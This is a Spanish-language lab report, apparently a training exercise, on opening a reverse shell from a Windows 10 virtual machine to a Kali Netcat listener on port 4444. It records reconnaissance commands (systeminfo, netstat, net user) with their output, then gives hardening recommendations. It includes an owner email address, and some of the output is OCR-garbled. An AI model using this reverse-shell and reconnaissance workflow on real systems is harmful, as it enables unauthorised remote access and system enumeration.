Reporte sobre actividad: Montar una shell inversa y ejecutar comandos remotos en windows

Fecha: 11 de noviembre de 2024 IP del origen: 192.168.1.57 IP del destino: 192.168.1.60 Puerto utilizado: 4444

Protocolo: TCP

Descripción del Incidente:

Durante una prueba de conectividad y administración remota, se estableció una conexión entre una máquina Kali Linux (IP 192.168.1.57) y una máquina con Windows 10 (IP 192.168.1.60) mediante Netcat. La máquina de destino se encuentra ejecutando Windows

10 en un entorno virtualizado (VirtualBox).

 Conexión inicial: Se realizó un ping a la dirección IP 192.168.1.60, el cual tuvo éxito con tiempos de respuesta de 0.253 ms a 0.327 ms, lo que indica que la máquina remota está accesible en la red.

```
(miguel® kali)-[~]
$ ping 192.168.1.60
PING 192.168.1.60 (192.168.1.60) 56(84) bytes of data.
64 bytes from 192.168.1.60: icmp_seq=1 ttl=128 time=0.327 ms
64 bytes from 192.168.1.60: icmp_seq=2 ttl=128 time=0.253 ms
64 bytes from 192.168.1.60: icmp_seq=3 ttl=128 time=0.265 ms
^C
— 192.168.1.60 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2037ms
rtt min/avg/max/mdev = 0.253/0.281/0.327/0.032 ms
```

 Establecimiento de la conexión Netcat: Posteriormente, se inició un servidor Netcat en Kali Linux para escuchar en el puerto 4444, y la máquina remota, 192.168.1.60, se conectó exitosamente al puerto 4444 de la máquina Kali Linux.

```
(miguel⊗ kali)-[~]

$ nc -lvnp 4444

listening on [any] 4444 ...

connect to [192.168.1.57] from (UNKNOWN) [192.168.1.60] 49774
```

- 3. Exploración del sistema remoto:
 - Se ejecutó el comando dir en la máquina remota, lo que reveló los directorios disponibles en la cuenta de usuario mange, incluyendo carpetas comunes como "Documentos", "Descargas", "Música", "Imágenes", "Videos",

entre otras

e	entre otras.										
	dir	[172.100.1.	37] TIOM (ONNION	N) [1)2.100							
ĺ	Directorio: C:\Users\mange										
	Mode	L	astWriteTime	Length	Name						
ı					_						
	d-r	12/07/2024	11:46 p. m.		3D Objects						
١	d-r	12/07/2024	11:46 p. m.		Contacts						
ı	d	12/07/2024	11:49 p. m.		Documents						
	d-r	12/07/2024	11:46 p. m.		Downloads						
	d-r	12/07/2024	11:46 p. m.		Favorites						
ı	d-r	12/07/2024	11:46 p. m.		Links						
ı	d-r	12/07/2024	11:46 p. m.		Music						
	darl	20/09/2024	12:02 p. m.		OneDrive						
ı	d	12/07/2024	11:49 p. m.		Pictures						
	d-r-	12/07/2024	11:46 p. m.		Saved Games						
	d-r	12/07/2024	11:47 p. m.		Searches						
ı	d-r	11/11/2024	10:20 p. m.		Videos						

- Se ejecutó el comando systeminfo, que proporcionó información detallada sobre el sistema, incluyendo:
 - Nombre del sistema operativo: Windows 10 Home (versión 10.0.19045)
 - Nombre del host: DESKTOP-RRKLBJS

Memoria total: 2.048 MBDirección IP: 192.168.1.60

 Configuración de red: DHCP habilitado, puerta de enlace predeterminada: 192.168.1.1

```
systeminfo
Nombre de host:
                                           DESKTOP-RRKLBJS
Nombre del sistema operativo:
                                           Microsoft Windows 10 Home
Versión del sistema operativo:
                                           10.0.19045 N/D Compilación 19045
Fabricante del sistema operativo:
                                          Microsoft Corporation
Configuración del sistema operativo:
                                           Estación de trabajo independiente
Tipo de compilación del sistema operativo: Multiprocessor Free
Propiedad de:
                                           mangelcard@hotmail.com
Organización registrada:
                                           00326-10000-00000-AA194
Id. del producto:
                                           12/07/2024, 10:25:36 p. m. 11/11/2024, 10:25:40 p. m.
Fecha de instalación original:
Tiempo de arranque del sistema:
Fabricante del sistema:
                                           innotek GmbH
Modelo el sistema:
                                           VirtualBox
Tipo de sistema:
                                           x64-based PC
                                           1 Procesadores instalados.
Procesador(es):
                                           [01]: AMD64 Family 25 Model 80 Stepping 0 A
cAMD ~3893 Mhz
Versión del BIOS:
                                           innotek GmbH VirtualBox, 1/12/2006
Directorio de Windows:
                                           C:\Windows
                                           C:\Windows\system32
Directorio de sistema:
                                           \Device\HarddiskVolume1
Dispositivo de arranque:
Configuración regional del sistema:
                                          es-mx;Español (México)
Idioma de entrada:
                                           es-mx;Español (México)
                                           (UTC-05:00) Bogotá, Lima, Quito, Rio Branco
Zona horaria:
Cantidad total de memoria física:
                                           2.048 MB
Memoria física disponible:
                                           813 MB
                                           3.200 MB
Memoria virtual: tamaño máximo:
Memoria virtual: disponible:
                                           1.731 MB
Memoria virtual: en uso:
                                           1.469 MB
                                           C:\pagefile.sys
Ubicación(es) de archivo de paginación:
Dominio:
                                           WORKGROUP
Servidor de inicio de sesión:
                                            \\DESKTOP-RRKLBJS
Revisión(es):
                                            7 revisión(es) instaladas.
                                            [01]: KB5044020
                                            [02]: KB5011048
                                            [03]: KB5015684
                                            [04]: KB5044273
```

4. Accesos de red:

 Se ejecutó el comando netstat -an, que mostró múltiples puertos en escucha en la máquina remota, incluidos los puertos comunes utilizados para la comunicación de red (por ejemplo, TCP/445, TCP/135, UDP/123).

ı	la comunicación de red (por ejemplo, 1007/445, 1007/155, 0007/125).									
	netstat	-an								
	Conexiones activas									
	Conextones accivas									
	Proto	Dirección local	Dirección remota	Estado						
	TCP	0.0.0.0:135	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:445	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:5040	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:5357	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:49666	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:49667	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:49668	0.0.0.0:0	LISTENING						
	TCP	0.0.0.0:49669	0.0.0.0:0	LISTENING						
-	TCP	0.0.0.0:49757	0.0.0.0:0	LISTENING						
	TCP	192.168.1.60:139	0.0.0.0:0	LISTENING						
	TCP	192.168.1.60:49707	20.7.2.167:443	ESTABLISHED						
	TCP	192.168.1.60:49715	104.75.170.115:443	CLOSE_WAIT						
	TCP	192.168.1.60:49720	13.107.219.254:443	CLOSE_WAIT						
	TCP	192.168.1.60:49734	20.7.2.167:443	ESTABLISHED						
	TCP	192.168.1.60:49736	104.75.170.107:443	CLOSE_WAIT						
	TCP	192.168.1.60:49738	13.107.213.254:443	CLOSE_WAIT						
	TCP	192.168.1.60:49773	20.226.163.200:443	ESTABLISHED						
	TCP	192.168.1.60:49774	192.168.1.57:4444	ESTABLISHED						
	TCP	192.168.1.60:49775	20.190.151.131:443	ESTABLISHED						
	TCP	192.168.1.60:49776	20.189.173.10:443	ESTABLISHED						
	TCP	[::]:135	[::]:0	LISTENING						
	TCP	[::]:445	[::]:0	LISTENING						
	TCP TCP	[::]:5357 [::]:49664	[::]:0	LISTENING LISTENING						
	TCP	[::]:49665	[::]:0 [::]:0	LISTENING						
	TCP	[::]:49666	[::]:0	LISTENING						
	TCP	[::]:49667	[::]:0	LISTENING						
	TCP	[::]:49668	[::]:0	LISTENING						
	TCP	[::]:49669	[::]:0	LISTENING						
	TCP	[::]:49757	[::]:0	LISTENING						
	UDP	0.0.0.0:123	*:*	E151 ENTING						
	UDP	0.0.0.0:500	*:*							
	UDP	0.0.0.0:3702	*:*							
	UDP	0.0.0.0:3702	*:*							
	UDP	0.0.0.0:3702	*:*							

 También se observó que varios puertos estaban en el estado ESTABLISHED, indicando conexiones activas hacia servidores externos, como 20.7.2.167 (conexiones HTTPS) y 104.75.170.115, entre otros.

5. Información de usuario:

Se ejecutó net user, que mostró las cuentas de usuario presentes en la máquina remota, incluyendo la cuenta mange y las cuentas predeterminadas como Administrador e Invitado.

```
net user

Cuentas de usuario de \\DESKTOP-RRKLBJS

Administrador DefaultAccount Invitado
mange WDAGUtilityAccount
Se ha completado el comando correctamente.
```

Conclusiones:

- La máquina remota es accesible en la red y permite conexiones entrantes en el puerto 4444.
- Se logró obtener información relevante sobre el sistema, como detalles del sistema operativo y configuraciones de red.
- Existen múltiples conexiones activas hacia servidores externos, lo que puede indicar actividad de comunicación con servicios externos o aplicaciones en la red.
- No se encontraron evidencias directas de actividades maliciosas, pero la presencia de puertos en escucha (como 445, 135) puede ser indicativo de posibles vectores de ataque.

Recomendaciones:

- Revisión de seguridad: Es recomendable revisar las configuraciones de red y
 cortafuegos (firewall) de la máquina remota para asegurarse de que solo los puertos
 necesarios estén abiertos y que las conexiones a puertos de red sensibles estén
 restringidas.
- 2. **Monitoreo de conexiones externas:** Se debe realizar un seguimiento de las conexiones activas y sus destinos (como las IPs externas observadas en el estado ESTABLISHED).
- 3. **Fortalecimiento de las credenciales de acceso**: Asegurar que las cuentas de usuario en la máquina remota tengan contraseñas fuertes y que las cuentas predeterminadas como Administrador o Invitado estén correctamente deshabilitadas o gestionadas.